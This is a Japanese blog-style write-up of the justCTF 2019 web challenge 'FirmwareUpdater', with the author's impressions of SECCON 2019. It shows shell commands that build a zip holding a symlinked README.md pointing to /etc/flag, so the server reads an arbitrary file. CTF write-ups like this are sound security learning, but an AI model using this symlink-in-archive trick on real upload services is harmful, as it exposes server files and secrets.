justCTF 2019 - Writeup ( web : FirmwareUpdater )
SECCON2019の裏で開催されたjustCTF 2019に参加した。1問だけ解けたのでWriteupを記載する。
Description
This device need a firmware! Upload and execute ASAP!
Flag is in /etc/flag
Writeup
指定されたURLへアクセスするとzipファイルがアップロード可能なWebサイトが表示される。
適当なzipファイルをアップロードするとエラーになるが、ディレクトリリスティングされた結果が表示されておりexample.zipがあることが分かる。
またexample.zipをアップロードすると以下の処理で動作していることが分かる。
①uploadsフォルダ配下のmd5($_SERVER['REMOTE_ADDR'])
.zipにrenameする。
②zipフォルダ内のREADME.mdファイルをcatコマンドで参照する。
webshellをアップロードしてOSコマンドインジェクションを試すが上手くいかない。 色々試したところ類似問題が見つかる。
catされるREADME.mdファイルにシンボリックリンクをはり、catコマンドを実行させることで中身が読み出せる。
root@kali:~# ls -al 合計 32 drwxr-xr-x 2 root root 4096 12月 22 17:12 . drwxr-xr-x 15 root root 4096 12月 22 11:02 .. -rwxrwx--- 1 root root 23292 12月 21 07:29 example_firmware.zip root@kali:~# root@kali:~# unzip example_firmware.zip Archive: example_firmware.zip inflating: README.md inflating: firmware.bin root@kali:~# root@kali:~# cat README.md Make sure you agree with firmware privacy policy. Backup data before update! root@kali:~# root@kali:~# rm README.md root@kali:~# root@kali:~# ln -s /etc/flag README.md root@kali:~# root@kali:~# zip -y flag.zip README.md firmware.bin adding: README.md (stored 0%) adding: firmware.bin (deflated 1%)
上記で作成したflag.zipをアップロードさせるとflagが表示される。
flag:justCTF{A_Fin3_W4y_T0_Upd4t3_m3_y0}
本日の感想
・情報処理試験と同じで過去問は大事!!ということで。
・過去問の400点問題が本大会ではeasyレベル ... 。CTFの問題レベルの高難度化のスピードには驚かされるばかり。
・SECCON2019はTwitterを見る限り荒れている模様。全く関わりない(そもそもレベル的に参加できない!!)けど傍からみていて運営様は唯々お疲れ様です。<(_ _)> ペコリ
本戦に参加しているチーム方の応援に秋葉原UDXに立ち寄った際の感想は、以下の通り。
✔インフラSEとしては1日目のSECCONのインフラを支える技術のLTEが非常に参考になった。(インフラSEの悲哀が感じられて尚更共感できた。)
✔『2016年度の大会がOS+Virtualbox環境で動いていた』の発言が個人的には衝撃的だった。
✔Ansibleは自分でも使ってみてぇ~。